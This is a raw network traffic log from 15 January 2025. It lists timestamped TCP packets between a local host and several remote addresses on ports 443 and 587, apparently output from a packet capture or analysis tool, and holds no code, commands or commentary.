Jan 15, 2025 03:37:13.201145887 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.201253891 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.203121901 CET	49824	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.203186035 CET	443	49824	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.203903913 CET	49826	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.203917980 CET	443	49826	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.204670906 CET	49828	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.204689980 CET	443	49828	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.211257935 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.211287975 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.212050915 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.212052107 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.212085962 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.212748051 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.212794065 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.215023041 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.215074062 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.215147018 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.216955900 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.216985941 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.220151901 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.220174074 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.220340967 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.220503092 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.220515966 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.244194031 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.245476007 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.245488882 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.246408939 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.246500969 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.246856928 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.246856928 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.246867895 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.246912003 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.247529030 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.248572111 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.248599052 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.249705076 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.251250982 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.251250982 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.251281023 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.251449108 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.259888887 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.264575958 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264637947 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264658928 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264679909 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264715910 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264734983 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264763117 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.264763117 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.264832020 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264877081 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.264878035 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.265578985 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.267379045 CET	49831	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.267407894 CET	443	49831	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.270986080 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.271132946 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.271814108 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.271835089 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.271874905 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.271927118 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.272053003 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.272072077 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.272272110 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.272283077 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.273641109 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.273663044 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.273888111 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.274813890 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.274841070 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.291275978 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.291285038 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.295335054 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.298116922 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.298501015 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.298520088 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.299974918 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.300113916 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.300419092 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.300419092 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.300497055 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.339782000 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.355012894 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.355022907 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.398561954 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:13.398896933 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:13.400846004 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.403783083 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:13.429837942 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.429862022 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.429872036 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.429981947 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.430008888 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.430218935 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.445008993 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445055962 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445074081 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445162058 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.445163012 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.445229053 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445262909 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445282936 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445323944 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.445343018 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.445377111 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.445377111 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.445487976 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.449253082 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.449395895 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.449438095 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.449539900 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.449539900 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.449548960 CET	443	49833	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.449851990 CET	49847	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.449870110 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.450037003 CET	49833	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.450064898 CET	49847	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.450716972 CET	49847	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.450726986 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.473913908 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.474082947 CET	443	49834	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.474231005 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.474231005 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.474231005 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.474231005 CET	49834	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.475790024 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.475811005 CET	443	49848	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.476749897 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.476749897 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.476775885 CET	443	49848	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.479265928 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.479444981 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.479871035 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.481256962 CET	49835	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.481281042 CET	443	49835	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.486077070 CET	49849	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.486160040 CET	443	49849	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.486350060 CET	49849	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.486851931 CET	49849	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.486895084 CET	443	49849	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532475948 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532532930 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532552958 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532569885 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532627106 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532639027 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.532639027 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.532645941 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532676935 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.532681942 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.532716036 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.532908916 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.558964014 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.559086084 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.559092045 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.559154034 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.559221029 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.559221029 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.559226990 CET	443	49836	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.559256077 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.559545994 CET	49850	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.559572935 CET	443	49850	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.559607029 CET	49836	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.559695959 CET	49850	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.560070992 CET	49850	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.560081959 CET	443	49850	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.711987972 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:13.712126017 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:13.713634968 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:13.727907896 CET	49757	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:37:13.727972031 CET	443	49757	142.250.185.228	192.168.2.4
Jan 15, 2025 03:37:13.736016989 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:13.737353086 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:13.742288113 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:13.792238951 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.792699099 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.792733908 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.793884039 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.794296026 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.794481993 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.794487953 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.795242071 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.797187090 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.797451019 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.797482967 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.797521114 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.797533035 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.798978090 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.799041033 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.799082041 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.799444914 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.800091028 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.800091982 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.800173044 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.800196886 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.800590992 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.800591946 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.800601006 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.800605059 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.803174973 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.803392887 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.803401947 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.804863930 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.804951906 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.805249929 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.805249929 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.805263996 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.805330038 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.806258917 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.806533098 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.806593895 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.807806015 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.808156013 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.808335066 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.808386087 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.839353085 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.845539093 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.845545053 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.845550060 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.845556021 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.845565081 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.847619057 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.847778082 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.849320889 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.849395990 CET	443	49832	38.54.26.75	192.168.2.4
Jan 15, 2025 03:37:13.849437952 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.849472046 CET	49832	443	192.168.2.4	38.54.26.75
Jan 15, 2025 03:37:13.851356983 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.856642008 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.857045889 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.857079029 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.858190060 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.858328104 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.858551979 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.858551979 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.858587980 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.858675957 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.858690977 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.858726978 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.860270977 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.860538960 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.860719919 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.860719919 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.860747099 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.860810995 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.860812902 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.873672962 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.874068022 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.874077082 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.874538898 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.877674103 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.877753019 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.877794027 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.892649889 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.907922029 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.907922029 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.907944918 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.919353962 CET	443	49845	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:13.923758030 CET	49845	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:13.954785109 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.014312029 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.014384031 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.014772892 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.015399933 CET	49841	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.015464067 CET	443	49841	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.015726089 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.015899897 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.015949011 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.018081903 CET	49852	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.018170118 CET	443	49852	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.018311977 CET	49852	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.018611908 CET	49852	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.018650055 CET	443	49852	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.018695116 CET	49838	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.018707037 CET	443	49838	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.021060944 CET	49853	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.021110058 CET	443	49853	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.021565914 CET	49853	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.021747112 CET	49853	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.021785975 CET	443	49853	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.022634029 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.022773981 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.023046970 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.023402929 CET	49842	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.023422003 CET	443	49842	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.024336100 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.024410009 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.024472952 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.025348902 CET	49854	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.025372982 CET	443	49854	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.025517941 CET	49854	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.025840998 CET	49854	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.025867939 CET	443	49854	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.026384115 CET	49840	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.026391029 CET	443	49840	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.027884007 CET	49855	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.027896881 CET	443	49855	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.028001070 CET	49855	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.028393984 CET	49855	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.028407097 CET	443	49855	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.034696102 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.034856081 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.034930944 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.035361052 CET	49839	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.035398960 CET	443	49839	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.037318945 CET	49856	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.037328959 CET	443	49856	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.037561893 CET	49856	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.037806034 CET	49856	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.037818909 CET	443	49856	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.068722963 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.068913937 CET	49847	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.068919897 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.069540977 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.069792032 CET	49847	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.069881916 CET	49847	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.069885015 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.069915056 CET	443	49847	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.071763039 CET	443	49848	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.071942091 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.071959019 CET	443	49848	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.073367119 CET	443	49848	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.073441029 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.073662043 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.073739052 CET	443	49848	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.073749065 CET	49848	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.085253954 CET	587	49816	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:14.085515022 CET	49816	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:14.085588932 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.085710049 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.085798025 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.086251020 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.086328983 CET	49844	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.086337090 CET	443	49846	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.086369038 CET	443	49844	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:14.086400986 CET	49846	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.086560011 CET	49857	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:14.086644888 CET	443	49857	45.63.57.89	192.168.2.4
